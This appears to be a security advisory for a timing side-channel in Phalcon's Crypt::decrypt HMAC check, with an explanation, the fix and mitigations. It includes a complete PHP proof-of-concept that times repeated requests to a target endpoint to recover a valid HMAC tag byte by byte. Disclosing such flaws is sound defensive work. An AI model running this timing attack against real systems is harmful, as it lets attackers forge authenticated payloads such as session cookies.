CVE-2026-54736: Phalcon Crypt::decrypt HMAC Timing Side-Channel
Phalcon's encrypted-payload verification used a non-constant-time string comparison for HMAC tags, letting a remote attacker recover a valid tag byte-by-byte from response timing and forge…

The problem
In Phalcon\Encryption\Crypt::decrypt, the HMAC tag supplied with a ciphertext was compared using the Zephir identity operator (!==), which compiles to ZEPHIR_IS_IDENTICAL in C, then to a memcmp that exits as soon as the first differing byte is found.
Because comparison time leaks how many leading bytes of the attacker-supplied tag are correct, an attacker with network access can probe all 256 values for each byte position, identify the correct byte from the slowest response, and recover a fully valid HMAC tag.
That tag can then be attached to a chosen IV and ciphertext, causing decrypt() to accept the tampered payload as authentic (CWE-208, CWE-347). Combined with CFB mode's byte-flip malleability, this allows tampering with decrypted content such as session cookies or encrypted authorization tokens.
Proof of concept
A working proof-of-concept for CVE-2026-54736 in phalcon/cphalcon, with the exact payload below.
<?php
/**
* Timing-oracle HMAC recovery against Phalcon Crypt::decrypt <= 5.14.0
*
* Derived directly from the patch diff (Crypt.zep:246 before/after) and
* the Keyczar-style attack described in the advisory.
*
* Setup: a Phalcon endpoint that accepts a base64-encoded encrypted blob,
* passes it to Crypt::decrypt, and returns a measurable response-time
* difference on HMAC mismatch vs. match for each additional correct byte.
*
* The attacker fixes the IV and ciphertext so the expected HMAC is
* constant across all probes, then recovers the tag byte-by-byte.
*/
const HMAC_LEN = 32; // SHA-256 raw HMAC = 32 bytes
const TARGET_URL = 'https://victim.example/decrypt';
const SAMPLES = 150; // requests per candidate byte (average out jitter)
// Captured IV + ciphertext whose HMAC we want to forge (fixed across all probes)
$fixedIvAndCiphertext = base64_decode('/* captured blob without its HMAC tag */');
function probe(string $ivCipher, string $tagSoFar, int $bytePos, int $candidate, int $samples): float {
$tag = $tagSoFar . chr($candidate) . str_repeat("\x00", HMAC_LEN - $bytePos - 1);
$blob = base64_encode($ivCipher . $tag);
$total = 0.0;
for ($i = 0; $i < $samples; $i++) {
$ch = curl_init(TARGET_URL);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(['data' => $blob]),
CURLOPT_RETURNTRANSFER => true,
]);
curl_exec($ch);
$total += curl_getinfo($ch, CURLINFO_TOTAL_TIME);
curl_close($ch);
}
return $total / $samples;
}
$recoveredTag = '';
for ($pos = 0; $pos < HMAC_LEN; $pos++) {
$best = ['byte' => 0, 'time' => 0.0];
for ($b = 0; $b < 256; $b++) {
$t = probe($fixedIvAndCiphertext, $recoveredTag, $pos, $b, SAMPLES);
if ($t > $best['time']) {
$best = ['byte' => $b, 'time' => $t];
}
}
$recoveredTag .= chr($best['byte']);
echo sprintf("Byte %02d: 0x%02x (%.6fs avg)\n", $pos, $best['byte'], $best['time']);
}
echo "Recovered tag (hex): " . bin2hex($recoveredTag) . "\n";
// $recoveredTag can now be appended to any IV+ciphertext to pass decrypt()
The vulnerable line in Crypt.zep:246 was if digest !== hash_hmac(...), which the Zephir compiler lowered to !ZEPHIR_IS_IDENTICAL(...) in C. That function calls Zend's is_identical_function, which for equal-length strings falls through to a memcmp that returns on the first differing byte, making comparison time proportional to the number of correct leading bytes.
Every other MAC comparison in the framework already used hash_equals() (the CSRF token check and JWT HMAC verifier), making Crypt::decrypt the sole deviation. The patch replaced the identity check with hash_equals(hash_hmac(...), digest), which runs in constant time regardless of byte agreement and also rejects truncated tags because hash_equals() returns false on length mismatch.
The fix
Upgrade phalcon/cphalcon to **v5.14.1** (commit ad53ab1). The fix replaces digest !== hash_hmac(...) with true !== hash_equals(hash_hmac(...), digest) in phalcon/Encryption/Crypt.zep:246. The tag is now also verified before unpadding, and truncated tags are rejected automatically by hash_equals().
If an immediate upgrade is not possible, wrap all Crypt::decrypt call sites with an application-level hash_equals check before invoking decryption, and enforce rate limiting on any endpoint that accepts encrypted input.
Reported by nikkoenggaliano.
Related research
- highCVE-2026-57584CVE-2026-57584: Phalcon Router Catastrophic Backtracking (ReDoS)
- criticalCVE-2026-59989CVE-2026-59989: Phalcon Volt Compiler join Filter PHP Code Injection (RCE)
- high · 8.2CVE-2026-52767CVE-2026-52767: YesWiki ActivityPub Signature-Verification Bypass
- high · 7.1LibreNMS Stored XSS via Unescaped SNMP and Syslog Data in Legacy Templates